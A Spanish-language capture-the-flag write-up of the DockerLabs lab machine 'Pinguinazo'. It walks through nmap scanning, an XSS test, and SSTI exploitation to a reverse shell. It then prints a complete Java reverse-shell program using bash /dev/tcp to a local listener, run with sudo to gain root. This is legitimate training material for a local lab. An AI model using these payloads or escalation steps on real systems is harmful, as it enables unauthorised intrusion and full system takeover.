Maquina Pinguinazo

DockerLabs

Posted by Anton-Hacks on May 23, 2024

Información

  • Máquina: Pinguinazo
  • Plataforma: DockerLabs
  • Creador: El Pingüino de Mario
  • SO: Linux
  • Dificultad: Facil

Configuración Entorno

Primeramente, como siempre para configurar las máquinas de DockerLabs, exportamos los ficheros auto_deploy.sh y en este caso pinguinazo.tar. Para ejecutarlo utilizamos el siguiente comando:

sudo bash auto_deploy.sh pinguinazo.tar

Image 1

auto_deploy.sh: este archivo se encarga de desplegar la máquina mediante docker y, una vez presionamos ctrl+c pasa a un proceso de borrado, todo automático, sin necesidad de tener conocimientos de docker.

pinguinazo.tar: contiene todo el contenido de la máquina docker; es el corazón, donde está la máquina víctima.

Reconocimiento

Lo primero que realizamos es lanzar un ping contra la IP de la máquina para comprobar que tenemos conectividad.

ping -c 1 172.17.0.2

Image 2

Podemos observar que el ttl es de 64, por tanto, como norma general podemos afirmas que se trata de una maquina linux. Una vez comprobada la conectividad, iniciaremos un escaneo con nmap, para detectar puertos abiertos y lo almacenaremos en un fichero llamado scan, con el siguiente comando:

nmap -p- --open -sV -sC -sS --min-rate=5000 -vvv -n -Pn 172.17.0.2 -oN scan
  • -p- –> Busqueda de puertos abiertos
  • –open –> Enumera los puertos abiertos
  • -sS –> Es un modo de escaneo rápido
  • -sC –> Que use un conjunto de scripts de reconocimiento
  • -sV –> Que encuentre la versión del servicio abierto
  • –min-rate=5000 –> Hace que el reconocimiento aun vaya más rápido mandando no menos de 5000 paquetes
  • -n –> No hace resolución DNS
  • -Pn –> No hace ping
  • -vvv –> Muestra en pantalla a medida que encuentra puertos (Verbose) Image 3 Image 4

Vemos que tiene abierto el puerto 5000 (upnp?).

Explotación

Lo primero que observamos al acceder por el puerto 5000 es un formulario de registro. Image 5

Si lo rellenamos, vemos que nos muestra un saludo y el nombre que hemos introducido en el primer campo. Image 6

Trataremos de averiguar si es vulnerable a ejecución de html injection. Image 7

En el primer campo introducimos lo siguiente:

<script>alert("hackeado")</script>

Al enviarlo comprobamos que efectivamente es vulnerable. Image 8

Ahora comprobaremos si es vulnerable a SSTI (Server Side Template Injection), en el github de PayloadsAllTheThings encontramos exploit para este tipo de vulnerabilidad.


Image 9

Nos muestra el siguiente mensaje: Image 10

Ahora intentaremos ponernos en escucha por el puerto 443 con netcat, y mediante un payload modificado del github de PayloadsAllTheThings, trataremos de ejecutar una reverse shell


Image 11

Recibimos la conexión y vemos que somos es usuario pinguinazo :penguin:

Image 12

Ahora trataremos de realizar una escalada de privilegios para poder ser root. Para ello, como siempre, lo primero que hacemos es revisar que comando puede ejecutar el usuario actual como sudo. Image 13

Vemos que podemos ejecutar java con privilegios de root, por tanto, podemos crear un fichero java con una revesrse shell (https://www.revshells.com/) que podremos ejecutar como root.

public class shell {
    public static void main(String[] args) {
        ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/172.17.0.1/4444 0>&1")
            .redirectErrorStream(true);
        try {
            Process p = pb.start();
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}

Nos ponemos en escucha con netcat, esta vez por el puerto 4444 y ejecutamos como sudo el fichero java que hemos creado.

sudo java rev_shell.java

Image 14

Y recibimos la reverse shell siendo el usuario root.

Image 15

:penguin::penguin: ¡¡¡¡Así que, maquina pinguineada!!!! :penguin::penguin:

Eliminación del entorno

Para borrar la máquina solo debemos ir a la consola donde lo desplegamos y presionar ctrl+c y eliminaría y borraría todo rastro de la máquina víctima en nuestro sistema LINUX.

Image 10

¡¡¡Espero que os haya gustado y nos vemos en la próxima!!!



Meow?